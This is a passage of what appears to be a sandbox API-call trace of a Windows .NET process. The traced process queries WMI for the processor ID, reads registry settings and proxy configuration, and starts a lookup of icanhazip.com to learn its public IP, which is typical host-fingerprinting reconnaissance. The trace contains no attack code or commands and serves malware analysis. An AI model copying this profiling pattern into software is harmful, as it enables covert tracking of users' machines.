This=0x1da383e0, riid=0x7fef4179770*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1acff0 | out: ppvObject=0x1acff0*=0x0) returned 0x80004002 [0191.868] WbemLocator:IUnknown:AddRef (This=0x1da383e0) returned 0x3 [0191.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1da383e0, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1aca78 | out: ppvObject=0x1aca78*=0x0) returned 0x80004002 [0191.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1da383e0, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1aca10 | out: ppvObject=0x1aca10*=0x0) returned 0x80004002 [0191.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1da383e0, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1aca00 | out: ppvObject=0x1aca00*=0x1da382c8) returned 0x0 [0191.869] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1da382c8, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1aca28 | out: pCid=0x1aca28*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.869] WbemLocator:IUnknown:Release (This=0x1da382c8) returned 0x3 [0191.869] CoGetContextToken (in: pToken=0x1acaa0 | out: pToken=0x1acaa0) returned 0x0 [0191.869] CoGetContextToken (in: pToken=0x1acf20 | out: pToken=0x1acf20) returned 0x0 [0191.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1da383e0, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1acfe0 | out: ppvObject=0x1acfe0*=0x1da383b0) returned 0x0 [0191.870] WbemLocator:IRpcOptions:Query (in: This=0x1da383b0, pPrx=0x1da383e0, dwProperty=2, pdwValue=0x1acfd0 | out: pdwValue=0x1acfd0) returned 0x80004002 [0191.870] WbemLocator:IUnknown:Release (This=0x1da383b0) returned 0x3 [0191.870] WbemLocator:IUnknown:Release (This=0x1da383e0) returned 0x2 [0191.870] CoGetContextToken (in: pToken=0x1ad5f0 | out: pToken=0x1ad5f0) returned 0x0 [0191.870] CoGetContextToken (in: pToken=0x1ad4f0 | out: pToken=0x1ad4f0) returned 0x0 [0191.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1da383e0, riid=0x1ad650*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1ad620 | out: ppvObject=0x1ad620*=0x1c2d97d8) returned 0x0 [0191.870] IUnknown:AddRef (This=0x1c2d97d8) returned 0x4 [0191.870] IUnknown:Release (This=0x1c2d97d8) returned 0x3 [0191.870] IUnknown:Release (This=0x1c2d97d8) returned 0x2 [0191.870] IUnknown:Release (This=0x1c2d9648) returned 0x2 [0191.870] SysStringLen (param_1=0x0) returned 0x0 [0191.871] IEnumWbemClassObject:Reset (This=0x1c2d97d8) returned 0x0 [0191.880] CoTaskMemAlloc (cb=0x8) returned 0x1ac72af0 [0191.881] IEnumWbemClassObject:Next (in: This=0x1c2d97d8, lTimeout=-1, uCount=0x1, apObjects=0x1ac72af0, puReturned=0x29c4ec0 | out: apObjects=0x1ac72af0*=0x1c2d9880, puReturned=0x29c4ec0*=0x1) returned 0x0 [0195.943] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1acf70 | out: ppvObject=0x1acf70*=0x1c2d9880) returned 0x0 [0195.943] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ad000 | out: ppvObject=0x1ad000*=0x0) returned 0x80004002 [0195.952] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x7fef4179770*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1acc30 | out: ppvObject=0x1acc30*=0x0) returned 0x80004002 [0195.952] IUnknown:AddRef (This=0x1c2d9880) returned 0x3 [0195.952] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1ac6b8 | out: ppvObject=0x1ac6b8*=0x0) returned 0x80004002 [0195.952] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1ac650 | out: ppvObject=0x1ac650*=0x0) returned 0x80004002 [0195.952] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ac640 | out: ppvObject=0x1ac640*=0x1c2d9888) returned 0x0 [0195.953] IMarshal:GetUnmarshalClass (in: This=0x1c2d9888, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1ac668 | out: pCid=0x1ac668*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0195.953] IUnknown:Release (This=0x1c2d9888) returned 0x3 [0195.953] CoGetContextToken (in: pToken=0x1ac6e0 | out: pToken=0x1ac6e0) returned 0x0 [0195.953] CoGetContextToken (in: pToken=0x1acb60 | out: pToken=0x1acb60) returned 0x0 [0195.953] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1acc20 | out: ppvObject=0x1acc20*=0x0) returned 0x80004002 [0195.953] IUnknown:Release (This=0x1c2d9880) returned 0x2 [0195.953] CoGetContextToken (in: pToken=0x1ad230 | out: pToken=0x1ad230) returned 0x0 [0195.953] CoGetContextToken (in: pToken=0x1ad130 | out: pToken=0x1ad130) returned 0x0 [0195.953] IUnknown:QueryInterface (in: This=0x1c2d9880, riid=0x1ad290*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1ad260 | out: ppvObject=0x1ad260*=0x1c2d9880) returned 0x0 [0195.953] IUnknown:AddRef (This=0x1c2d9880) returned 0x4 [0195.953] IUnknown:Release (This=0x1c2d9880) returned 0x3 [0195.953] IUnknown:Release (This=0x1c2d9880) returned 0x2 [0195.953] CoTaskMemFree (pv=0x1ac72af0) [0195.954] CoGetContextToken (in: pToken=0x1ad5f0 | out: pToken=0x1ad5f0) returned 0x0 [0195.954] IUnknown:AddRef (This=0x1c2d9880) returned 0x3 [0195.958] IWbemClassObject:Get (in: This=0x1c2d9880, wszName="__GENUS", lFlags=0, pVal=0x1adb90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1adcd8*=0, plFlavor=0x1adcd0*=0 | out: pVal=0x1adb90*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1adcd8*=3, plFlavor=0x1adcd0*=64) returned 0x0 [0195.960] IWbemClassObject:Get (in: This=0x1c2d9880, wszName="__PATH", lFlags=0, pVal=0x1adb40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1adc90*=0, plFlavor=0x1adc88*=0 | out: pVal=0x1adb40*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x1adc90*=8, plFlavor=0x1adc88*=64) returned 0x0 [0195.960] SysStringByteLen (bstr="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x6c [0195.960] SysStringByteLen (bstr="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x6c [0195.960] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x39c [0195.960] SetEvent (hEvent=0x2e8) returned 1 [0195.960] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1ad9d0*=0x39c, lpdwindex=0x1ad7a4 | out: lpdwindex=0x1ad7a4) returned 0x0 [0195.962] CoGetContextToken (in: pToken=0x1ad820 | out: pToken=0x1ad820) returned 0x0 [0195.962] CoGetContextToken (in: pToken=0x1ad720 | out: pToken=0x1ad720) returned 0x0 [0195.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9b30, riid=0x1ad880*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1ad850 | out: ppvObject=0x1ad850*=0x1c2d9b30) returned 0x0 [0195.962] WbemDefPath:IUnknown:AddRef (This=0x1c2d9b30) returned 0x3 [0195.962] WbemDefPath:IUnknown:Release (This=0x1c2d9b30) returned 0x2 [0195.963] WbemDefPath:IWbemPath:SetText (This=0x1c2d9b30, uMode=0x4, pszPath="\\\\XDUWTFONO\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0195.963] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1870, puCount=0x1adbf8 | out: puCount=0x1adbf8*=0x2) returned 0x0 [0195.963] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adbf0*=0x0, pszText=0x0 | out: puBuffLength=0x1adbf0*=0xf, pszText=0x0) returned 0x0 [0195.963] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adbf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1adbf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0195.970] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1870, puCount=0x1adc08 | out: puCount=0x1adc08*=0x2) returned 0x0 [0195.970] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adc00*=0x0, pszText=0x0 | out: puBuffLength=0x1adc00*=0xf, pszText=0x0) returned 0x0 [0195.970] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adc00*=0xf, pszText="00000000000000" | out: puBuffLength=0x1adc00*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0195.975] IWbemClassObject:Get (in: This=0x1c2d9880, wszName="processorID", lFlags=0, pVal=0x1adbb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5ba0*=0, plFlavor=0x29c5ba4*=0 | out: pVal=0x1adbb0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x29c5ba0*=8, plFlavor=0x29c5ba4*=0) returned 0x0 [0195.976] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20 [0195.976] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20 [0195.978] IWbemClassObject:Get (in: This=0x1c2d9880, wszName="processorID", lFlags=0, pVal=0x1adbc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5ba0*=8, plFlavor=0x29c5ba4*=0 | out: pVal=0x1adbc0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x29c5ba0*=8, plFlavor=0x29c5ba4*=0) returned 0x0 [0195.978] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20 [0195.978] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20 [0195.991] CoGetContextToken (in: pToken=0x1ada20 | out: pToken=0x1ada20) returned 0x0 [0195.991] WbemLocator:IUnknown:Release (This=0x1da383e0) returned 0x1 [0195.991] IUnknown:Release (This=0x1c2d97d8) returned 0x0 [0196.654] GetCurrentProcess () returned 0xffffffffffffffff [0196.654] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad4e8 | out: TokenHandle=0x1ad4e8*=0x3a0) returned 1 [0196.663] GetCurrentProcess () returned 0xffffffffffffffff [0196.663] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad4f8 | out: TokenHandle=0x1ad4f8*=0x3a4) returned 1 [0196.669] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a8 [0196.670] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ac [0196.937] GetCurrentProcess () returned 0xffffffffffffffff [0196.937] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad4c8 | out: TokenHandle=0x1ad4c8*=0x3b0) returned 1 [0196.938] GetCurrentProcess () returned 0xffffffffffffffff [0196.938] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad4d8 | out: TokenHandle=0x1ad4d8*=0x3b4) returned 1 [0196.943] QueryPerformanceFrequency (in: lpFrequency=0x7fe942f9690 | out: lpFrequency=0x7fe942f9690) returned 1 [0196.943] QueryPerformanceCounter (in: lpPerformanceCount=0x1adb48 | out: lpPerformanceCount=0x1adb48*=1827241300000) returned 1 [0196.945] GetCurrentProcess () returned 0xffffffffffffffff [0196.945] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad3c8 | out: TokenHandle=0x1ad3c8*=0x3b8) returned 1 [0196.946] GetCurrentProcess () returned 0xffffffffffffffff [0196.946] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad3d8 | out: TokenHandle=0x1ad3d8*=0x3bc) returned 1 [0196.965] GetCurrentProcess () returned 0xffffffffffffffff [0196.965] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad438 | out: TokenHandle=0x1ad438*=0x3c0) returned 1 [0196.967] GetCurrentProcess () returned 0xffffffffffffffff [0196.967] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad448 | out: TokenHandle=0x1ad448*=0x3c4) returned 1 [0196.974] GetCurrentProcess () returned 0xffffffffffffffff [0196.974] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad918 | out: TokenHandle=0x1ad918*=0x3c8) returned 1 [0196.978] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ab938 | out: phkResult=0x1ab938*=0x3cc) returned 0x0 [0196.978] RegQueryValueExW (in: hKey=0x3cc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1ab988, lpData=0x0, lpcbData=0x1ab980*=0x0 | out: lpType=0x1ab988*=0x1, lpData=0x0, lpcbData=0x1ab980*=0xe) returned 0x0 [0196.978] RegQueryValueExW (in: hKey=0x3cc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1ab988, lpData=0x29d6c78, lpcbData=0x1ab980*=0xe | out: lpType=0x1ab988*=0x1, lpData="Client", lpcbData=0x1ab980*=0xe) returned 0x0 [0196.978] RegCloseKey (hKey=0x3cc) returned 0x0 [0197.440] CoTaskMemAlloc (cb=0xcd0) returned 0x1da48970 [0197.440] RasEnumConnectionsW (in: param_1=0x1da48970, param_2=0x1ad8c0, param_3=0x1ad8c8 | out: param_1=0x1da48970, param_2=0x1ad8c0, param_3=0x1ad8c8) returned 0x0 [0197.471] CoTaskMemFree (pv=0x1da48970) [0197.476] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ad608 | out: lpWSAData=0x1ad608) returned 0 [0197.500] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x410 [0197.615] setsockopt (s=0x410, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0197.615] closesocket (s=0x410) returned 0 [0197.616] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x410 [0197.696] setsockopt (s=0x410, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0197.696] closesocket (s=0x410) returned 0 [0197.697] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x410 [0197.697] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x414 [0197.699] ioctlsocket (in: s=0x410, cmd=-2147195266, argp=0x1ad8e8 | out: argp=0x1ad8e8) returned 0 [0197.699] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x418 [0197.699] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x41c [0197.699] ioctlsocket (in: s=0x418, cmd=-2147195266, argp=0x1ad8e8 | out: argp=0x1ad8e8) returned 0 [0197.700] WSAIoctl (in: s=0x410, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1ad870, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1ad870, lpOverlapped=0x0) returned -1 [0197.740] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1ad450, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0197.778] WSAEventSelect (s=0x410, hEventObject=0x414, lNetworkEvents=512) returned 0 [0197.778] WSAIoctl (in: s=0x418, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1ad870, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1ad870, lpOverlapped=0x0) returned -1 [0197.778] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1ad450, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0197.778] WSAEventSelect (s=0x418, hEventObject=0x41c, lNetworkEvents=512) returned 0 [0197.778] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x420 [0197.779] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x420, param_3=0x3) returned 0x0 [0197.819] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1ad958 | out: phkResult=0x1ad958*=0x438) returned 0x0 [0197.820] RegOpenKeyExW (in: hKey=0x438, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad898 | out: phkResult=0x1ad898*=0x43c) returned 0x0 [0197.820] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x440 [0197.820] RegNotifyChangeKeyValue (hKey=0x43c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x440, fAsynchronous=1) returned 0x0 [0197.821] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad8a0 | out: phkResult=0x1ad8a0*=0x444) returned 0x0 [0197.821] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x448 [0197.821] RegNotifyChangeKeyValue (hKey=0x444, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x448, fAsynchronous=1) returned 0x0 [0197.821] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad8a0 | out: phkResult=0x1ad8a0*=0x44c) returned 0x0 [0197.821] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x450 [0197.821] RegNotifyChangeKeyValue (hKey=0x44c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x450, fAsynchronous=1) returned 0x0 [0197.821] GetCurrentProcess () returned 0xffffffffffffffff [0197.821] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad828 | out: TokenHandle=0x1ad828*=0x454) returned 1 [0197.825] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ac978 | out: phkResult=0x1ac978*=0x458) returned 0x0 [0197.825] RegQueryValueExW (in: hKey=0x458, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x1ac9b8, lpData=0x0, lpcbData=0x1ac9b0*=0x0 | out: lpType=0x1ac9b8*=0x0, lpData=0x0, lpcbData=0x1ac9b0*=0x0) returned 0x2 [0197.825] RegCloseKey (hKey=0x458) returned 0x0 [0197.871] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x1da44270 [0197.950] WinHttpSetTimeouts (hInternet=0x1da44270, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0197.961] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1ad8a0 | out: pProxyConfig=0x1ad8a0) returned 1 [0198.448] CoTaskMemAlloc (cb=0x282) returned 0x1da493c0 [0198.448] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x1da493c0, nSize=0x13f | out: lpBuffer="\x6590\x1da4") returned 0x0 [0198.448] CoTaskMemFree (pv=0x1da493c0) [0198.448] CoTaskMemAlloc (cb=0x282) returned 0x1da493c0 [0198.449] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x1da493c0, nSize=0x13f | out: lpBuffer="\x6590\x1da4") returned 0x0 [0198.449] CoTaskMemFree (pv=0x1da493c0) [0198.450] EtwEventRegister (in: ProviderId=0x29daa98, EnableCallback=0x1b5c296c, CallbackContext=0x0, RegHandle=0x29daa78 | out: RegHandle=0x29daa78) returned 0x0 [0198.538] GetCurrentProcess () returned 0xffffffffffffffff [0198.538] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad398 | out: TokenHandle=0x1ad398*=0x49c) returned 1 [0198.539] GetCurrentProcess () returned 0xffffffffffffffff [0198.539] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad3a8 | out: TokenHandle=0x1ad3a8*=0x4ac) returned 1 [0198.555] SetEvent (hEvent=0x3a8) returned 1 [0198.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ad630*=0x420, lpdwindex=0x1ad404 | out: lpdwindex=0x1ad404) returned 0x80010115 [0198.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ad5d0*=0x414, lpdwindex=0x1ad3a4 | out: lpdwindex=0x1ad3a4) returned 0x80010115 [0198.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ad5d0*=0x41c, lpdwindex=0x1ad3a4 | out: lpdwindex=0x1ad3a4) returned 0x80010115 [0198.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ad6b0*=0x440, lpdwindex=0x1ad484 | out: lpdwindex=0x1ad484) returned 0x80010115 [0198.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ad6b0*=0x448, lpdwindex=0x1ad484 | out: lpdwindex=0x1ad484) returned 0x80010115 [0198.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ad6b0*=0x450, lpdwindex=0x1ad484 | out: lpdwindex=0x1ad484) returned 0x80010115 [0198.582] WinHttpGetProxyForUrl (hSession=0x1da44270, lpcwszUrl="http://icanhazip.com/", pAutoProxyOptions=0x1ad710, pProxyInfo=0x1ad7e0) Thread: id = 2 os_tid = 0x95c Thread: id = 3 os_tid = 0x960 [0030.673] CoGetContextToken (in: pToken=0x118f440 | out: pToken=0x118f440) returned 0x800401f0 [0030.674] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0138.923] CloseHandle (hObject=0x264) returned 1 [0138.924] CloseHandle (hObject=0x268) returned 1 Thread: id = 4 os_tid = 0x964 Thread: id = 5 os_tid = 0x968 [0100.204] CoGetContextToken (in: pToken=0x1b37fba0 | out: pToken=0x1b37fba0) returned 0x0 [0100.204] CObjectContext::QueryInterface () returned 0x0 [0100.204] CObjectContext::GetCurrentThreadType () returned 0x0 [0100.204] Release () returned 0x0 Thread: id = 6 os_tid = 0x974 [0035.717] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0035.769] SleepEx (dwMilliseconds=0x1f4, bAlertable=1) returned 0x0 [0036.292] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0038.569] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0039.598] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0040.612] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0041.634] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0042.675] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0043.715] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0044.715] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0045.729] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0046.743] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0047.757] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0048.787] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 